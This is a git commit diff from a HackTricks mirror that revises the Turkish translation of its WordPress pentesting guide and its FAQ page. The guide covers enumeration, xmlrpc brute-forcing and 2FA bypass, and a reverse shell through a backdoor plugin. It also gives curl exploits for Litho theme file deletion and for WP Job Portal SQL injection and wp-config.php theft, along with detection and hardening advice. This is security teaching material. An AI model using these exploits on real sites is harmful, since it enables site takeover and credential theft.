mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
7281fa0375
commit
9e5bd1c875
@ -5,7 +5,7 @@
|
||||
## Temel Bilgiler
|
||||
|
||||
- **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
@ -22,15 +22,15 @@
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` WordPress'in verilerin HTTP ile iletilmesini sağlayan bir özelliğini temsil eden bir dosyadır; burada HTTP taşıma mekanizması ve XML kodlama mekanizması olarak işlev görür. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||
- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||
- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir.
|
||||
- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir.
|
||||
- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
|
||||
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur.
|
||||
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.
|
||||
|
||||
**Sonrası istismar**
|
||||
|
||||
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön ekini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
|
||||
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu verileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
|
||||
|
||||
### Kullanıcı İzinleri
|
||||
|
||||
@ -40,11 +40,11 @@
|
||||
- **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
|
||||
- **Abone**: Gönderileri tarar ve profilini düzenler
|
||||
|
||||
## **Pasif Sayım**
|
||||
## **Pasif Sıralama**
|
||||
|
||||
### **WordPress sürümünü öğrenin**
|
||||
|
||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınıza bakın.
|
||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin.
|
||||
|
||||
Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden):
|
||||
|
||||
@ -66,7 +66,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Temaları Al
|
||||
### Temaları Alın
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Eklentiler ve Temalar
|
||||
|
||||
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar var).
|
||||
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif olarak Brute Force yapmanız** gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar var).
|
||||
|
||||
### Kullanıcılar
|
||||
|
||||
@ -166,13 +166,13 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Ayrıca, **`system.multicall`** kullanarak kimlik bilgilerini brute-force etmek için **daha hızlı bir yol** vardır, çünkü aynı istekte birkaç kimlik bilgisi deneyebilirsiniz:
|
||||
Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmanın **daha hızlı bir yolu** vardır:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA'yı Atlatma**
|
||||
|
||||
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi RCE'ye ulaşmayı hala başarabilirsiniz [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) açıklamasında olduğu gibi RCE'ye ulaşmanız hala mümkün olabilir.
|
||||
|
||||
**DDoS veya port taraması**
|
||||
|
||||
@ -209,7 +209,7 @@ Bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenme
|
||||
|
||||
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\
|
||||
Bu dosya **erişildiğinde** "ağır" bir MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından bir **DoS** **oluşturmak** için kullanılabilir.\
|
||||
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara yol açabilir (DoS).
|
||||
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
|
||||
|
||||
Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklarla gerçekleştiren gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun yaratmadan).
|
||||
|
||||
@ -227,7 +227,7 @@ Bu çalışmadığında alınan yanıt:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa, bunları istismar etmeye çalışır.
|
||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -235,9 +235,9 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Bir biti üzerine yazarak erişim elde etme
|
||||
## Bir biti üzerine yazarak erişim elde et
|
||||
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için değiştirebilirsiniz.
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakmak için değiştirebilirsiniz.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -267,7 +267,7 @@ to get a session.
|
||||
### PHP eklentisi
|
||||
|
||||
Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\
|
||||
Örneğin, php arka kapınızı oluşturun:
|
||||
Örneğin, php backdoor'unuzu oluşturun:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,25 +295,25 @@ Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
|
||||
|
||||
Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir:
|
||||
|
||||
1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan edinilir [**buradan**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan temin edilir [**buradan**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Eklenti Yükleme**:
|
||||
- WordPress kontrol paneline gidin, ardından `Kontrol Paneli > Eklentiler > Eklenti Yükle` seçeneğine gidin.
|
||||
- İndirilen eklentinin zip dosyasını yükleyin.
|
||||
3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
|
||||
4. **İstismar**:
|
||||
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- "reflex-gallery" eklentisi yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.
|
||||
|
||||
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.
|
||||
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.
|
||||
|
||||
**Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## XSS'den RCE'ye
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Wordpress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur.
|
||||
- _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin.
|
||||
- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin.
|
||||
- _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin.
|
||||
- _**(RCE) Yerleşik Tema Düzenleme:**_ WordPress'teki Yerleşik Temaları düzenleyin.
|
||||
- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar.
|
||||
@ -350,7 +350,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
|
||||
- **REST API**
|
||||
|
||||
WordPress'ten fonksiyonları bir rest API kaydederek açığa çıkarmak da mümkündür; `register_rest_route` fonksiyonunu kullanarak:
|
||||
Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -360,7 +360,7 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback`, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir işlevin geri çağrısıdır.
|
||||
`permission_callback`, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir geri çağırma işlevidir.
|
||||
|
||||
**Eğer yerleşik `__return_true` işlevi kullanılırsa, kullanıcı izinleri kontrolü atlanacaktır.**
|
||||
|
||||
@ -370,7 +370,7 @@ Elbette, Wordpress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden
|
||||
|
||||
### wp_ajax_nopriv aracılığıyla Kimlik Doğrulaması Olmadan Rastgele Dosya Silme (Litho Tema <= 3.0)
|
||||
|
||||
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` kancaları aracılığıyla AJAX işleyicileri sunar. **_nopriv_** varyantı kullanıldığında **geri çağrı kimlik doğrulaması yapılmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas eylem ayrıca şunları uygulamalıdır:
|
||||
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` kancaları aracılığıyla AJAX işleyicileri sunar. **_nopriv_** varyantı kullanıldığında **geri çağırma kimlik doğrulaması yapılmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas eylem ayrıca şunları uygulamalıdır:
|
||||
|
||||
1. Bir **yetki kontrolü** (örneğin, `current_user_can()` veya en azından `is_user_logged_in()`), ve
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
|
||||
@ -399,24 +399,24 @@ Bu kod parçasının neden olduğu sorunlar:
|
||||
|
||||
* **Kimlik doğrulaması yapılmamış erişim** – `wp_ajax_nopriv_` kancası kaydedilmiştir.
|
||||
* **Nonce / yetki kontrolü yok** – herhangi bir ziyaretçi uç noktayı kullanabilir.
|
||||
* **Yol sanitizasyonu yok** – kullanıcı tarafından kontrol edilen `fontfamily` dizesi, filtreleme olmaksızın bir dosya sistemi yoluna eklenir ve klasik `../../` geçişine izin verir.
|
||||
* **Yol sanitizasyonu yok** – kullanıcı tarafından kontrol edilen `fontfamily` dizesi, filtreleme olmadan bir dosya sistemi yoluna eklenir ve klasik `../../` geçişine izin verir.
|
||||
|
||||
#### Sömürü
|
||||
|
||||
Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin altındaki** herhangi bir dosyayı veya dizini silebilir (normalde `<wp-root>/wp-content/uploads/`):
|
||||
Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin altında** (normalde `<wp-root>/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Çünkü `wp-config.php` *uploads* dışında yer alır, varsayılan bir kurulumda dört `../` dizini yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı* moduna zorlar ve tam site ele geçirme imkanı tanır (saldırgan yalnızca yeni bir DB yapılandırması sağlar ve bir admin kullanıcısı oluşturur).
|
||||
Çünkü `wp-config.php` *uploads* dışında yer alır, varsayılan bir kurulumda dört `../` dizini yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı* moduna zorlar ve tam bir site ele geçirme olanağı sağlar (saldırgan yalnızca yeni bir DB yapılandırması sağlar ve bir admin kullanıcısı oluşturur).
|
||||
|
||||
Diğer etkili hedefler arasında güvenlik eklentilerini kırmak için eklenti/tema `.php` dosyaları veya `.htaccess` kuralları bulunmaktadır.
|
||||
|
||||
#### Tespit kontrol listesi
|
||||
|
||||
* Dosya sistemi yardımcılarını çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` geri çağrısı (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.).
|
||||
* Yollar içine temizlenmemiş kullanıcı girdisinin birleştirilmesi ( `$_POST`, `$_GET`, `$_REQUEST`'i kontrol edin).
|
||||
* Yollar içine temizlenmemiş kullanıcı girdisinin birleştirilmesi ( `$_POST`, `$_GET`, `$_REQUEST`'i arayın).
|
||||
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()`'ın yokluğu.
|
||||
|
||||
#### Güçlendirme
|
||||
@ -440,7 +440,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
```
|
||||
> [!TIP]
|
||||
> **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak değerlendirin ve iki kez kontrol edin:
|
||||
> • Kimlik Doğrulama • Yetkilendirme • Nonce • Girdi temizleme • Yol sınırlama (örneğin `realpath()` artı `str_starts_with()` ile).
|
||||
> • Kimlik Doğrulama • Yetkilendirme • Nonce • Girdi temizleme • Yol sınırlama (örneğin, `realpath()` artı `str_starts_with()` ile).
|
||||
|
||||
---
|
||||
|
||||
@ -468,10 +468,67 @@ Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**.
|
||||
- **Güçlü şifreler** ve **2FA** kullanın
|
||||
- Kullanıcı **izinlerini** periyodik olarak **gözden geçirin**
|
||||
- Brute Force saldırılarını önlemek için **giriş denemelerini** sınırlayın
|
||||
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.
|
||||
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
|
||||
|
||||
### Yetersiz doğrulama yoluyla kimlik doğrulamasız SQL Enjeksiyonu (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal işe alım eklentisi, `modules/category/model.php::validateFormData()` içinde aşağıdaki savunmasız kodu nihayetinde çalıştıran bir **savecategory** görevini açığa çıkardı:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Bu kod parçasının neden olduğu sorunlar:
|
||||
|
||||
1. **Temizlenmemiş kullanıcı girişi** – `parentid` doğrudan HTTP isteğinden geliyor.
|
||||
2. **WHERE koşulunda dize birleştirme** – `is_numeric()` / `esc_sql()` / hazırlıklı ifade yok.
|
||||
3. **Kimlik doğrulaması yapılmamış erişilebilirlik** – işlem `admin-post.php` üzerinden gerçekleştirilse de, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`), bu da herhangi bir ziyaretçinin `[wpjobportal_my_resumes]` kısa kodunu içeren bir kamu sayfasından alabileceği bir değerdir.
|
||||
|
||||
#### Sömürü
|
||||
|
||||
1. Yeni bir nonce alın:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid`'yi kötüye kullanarak keyfi SQL enjekte edin:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir, bu da SQLi'yi kanıtlar.
|
||||
|
||||
|
||||
### Kimlik Doğrulaması Yapılmamış Keyfi Dosya İndirme / Yol Traversali (WP Job Portal <= 2.3.2)
|
||||
|
||||
Başka bir görev, **downloadcustomfile**, ziyaretçilerin **diskteki herhangi bir dosyayı** yol traversali ile indirmesine izin veriyordu. Açık nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunmaktadır:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizlenmeden** birleştiriliyor. Yine, tek engel **CSRF nonce**'udur ve bu, özgeçmiş sayfasından alınabilir.
|
||||
|
||||
#### Sömürü
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Sunucu, `wp-config.php` dosyasının içeriğiyle yanıt verir, DB kimlik bilgilerini ve kimlik doğrulama anahtarlarını sızdırır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Litho Temasında Kimlik Doğrulaması Yapılmamış Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Litho Temasında Kimlik Doğrulaması Olmadan Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP İş Portalı Eklentisinde Birden Fazla Kritik Açık Yamanmıştır](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,15 +5,15 @@
|
||||
## HackTricks Değerleri
|
||||
|
||||
> [!TIP]
|
||||
> Bunlar **HackTricks Projesi'nin değerleri**:
|
||||
> Bunlar **HackTricks Projesinin değerleri**:
|
||||
>
|
||||
> - **TÜM** İnternet için **EĞİTİMSEL hacking** kaynaklarına **ÜCRETSİZ** erişim sağlamak.
|
||||
> - Hacking öğrenmekle ilgilidir ve öğrenim mümkün olduğunca ücretsiz olmalıdır.
|
||||
> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir.
|
||||
> - Topluluğun yayınladığı harika **hacking** tekniklerini **ORİJİNAL** **YAZARLARINA** tüm **kredileri** vererek **Saklamak**.
|
||||
> - Topluluğun yayınladığı harika **hacking** tekniklerini **ORİJİNAL** **YAZARLARA** tüm **kredileri** vererek **Saklamak**.
|
||||
> - **Başka insanlardan kredi almak istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
|
||||
> - HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve **daha fazla ayrıntı için okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - Kitaptaki tüm hacking tekniklerini **DÜZENLEMEK** böylece **DAHA ERİŞİLEBİLİR** hale getirmek.
|
||||
> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği **sadece düzenlemek** amacıyla binlerce saat harcadı.
|
||||
|
||||
@ -48,9 +48,9 @@ Evet, yapabilirsiniz, ancak **içeriğin alındığı belirli bağlantıyı(lar
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks'in bir sayfasını nasıl alıntılayabilirim?**
|
||||
> - **HackTricks'in bir sayfasını nasıl alabilirim?**
|
||||
|
||||
Bilgiyi aldığınız sayfanın **bağlantısı** göründüğü sürece yeterlidir.\
|
||||
Bilgiyi aldığınız sayfanın **bağlantısının** görünmesi yeterlidir.\
|
||||
Bir bibtex'e ihtiyacınız varsa, şöyle bir şey kullanabilirsiniz:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
**Bunu yapmamayı tercih ederim**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak mevcuttur**.
|
||||
|
||||
Kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
Eğer kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
@ -74,9 +74,9 @@ Kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dedi
|
||||
|
||||
İlk **HackTricks** **değeri**, **TÜM** dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi, bu içeriği sunmak için **binlerce saat** harcamıştır, tekrar, **ÜCRETSİZ**.
|
||||
|
||||
Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düşünüyorsanız, **TAMAMEN YANLIŞSINIZ**.
|
||||
Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düşünüyorsanız, **TAMAMEN YANLIŞ** düşünüyorsunuz.
|
||||
|
||||
